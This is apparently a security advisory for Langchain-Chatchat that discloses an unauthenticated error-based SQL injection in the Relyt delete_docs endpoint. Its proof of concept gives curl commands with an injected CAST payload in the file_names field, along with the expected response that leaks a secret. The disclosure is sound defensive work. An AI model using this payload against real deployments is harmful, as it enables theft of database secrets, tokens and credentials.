[SECURITY] Error-based SQL Injection in Relyt do_delete_doc leaks arbitrary database field values (CWE-89, CVSS 8.0)
Langchain-Chatchat Relyt do_delete_doc Error-Based SQL Injection
Summary
RelytKBService.do_delete_doc() uses f-string to concatenate filepath into a DELETE SQL statement executed via text(). The delete_docs handler's try/except catches PostgreSQL exceptions and echoes them to the HTTP response failed_files field, constituting error-based SQL injection. An attacker uses CAST(secret AS int) to read out the full value of any field in any table in a single request. Zero destruction (filepath injection point is closed within single quotes, main query DELETE 0 rows).
Affected Version & Commit
- Repository: https://github.com/chatchat-space/Langchain-Chatchat
- Branch: master
- Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151
Vulnerability Description
RelytKBService.do_delete_doc() uses f-string to directly concatenate the filepath parameter into a DELETE SQL statement, executed as raw SQL via SQLAlchemy text(). The delete_docs handler's try/except block catches PostgreSQL exceptions and echoes the exception message to the HTTP response's failed_files field.
An attacker uses CAST(secret AS int) to force PostgreSQL to throw an InvalidTextRepresentation exception. The exception message contains the original value of the converted field, allowing a single request to read out the complete value of any field in any table. The injection point is closed within single quotes, so the main query DELETEs 0 rows — zero destruction.
Affected Endpoints
POST /knowledge_base/delete_docs(port 7861)
Exploitation Conditions
- Exploitable with default configuration, no authentication required
- Requires
vs_type=relytand an existing knowledge base - Payload must end with
.md(KnowledgeFile extension check)
Proof of Concept
# Step 1: Ensure target KB exists (collection_{kb} table must exist, need to upload_docs first)
curl -s -X POST http://127.0.0.1:7861/knowledge_base/create_knowledge_base \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"poc_s009","vector_store_type":"relyt","kb_info":"b","embed_model":"bge-large-zh-v1.5"}'
# Expected: {"code":200,...} ← KB ready
# Step 2: POST delete_docs, file_names inject CAST to force error
curl -s -X POST http://127.0.0.1:7861/knowledge_base/delete_docs \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"poc_s009","file_names":["safe\x27 AND (SELECT CAST((SELECT secret FROM victim_table_s009) AS int))=1-- .md"]}'
# Expected: {"data":{"failed_files":{"safe'...":"invalid input syntax for type integer: \"S009_LEAKED_PW_9981\""}}}
# ↑ filepath injected into f-string DELETE SQL, CAST throws exception, secret echoed from failed_filesTested: single request reads out complete secret S009_LEAKED_PW_9981 from the PostgreSQL exception message. Zero destruction (filepath injection point is closed within single quotes, main query DELETEs 0 rows).
Impact
An unauthenticated attacker can read the complete value of any field in any table in the database in a single request via error-based injection, including secrets, API keys, tokens, and other sensitive credentials. The injection process is zero-destruction.
Severity
CVSS v3.1: 8.0 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-89 (SQL Injection)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
Source: chatchat-space/Langchain-Chatchat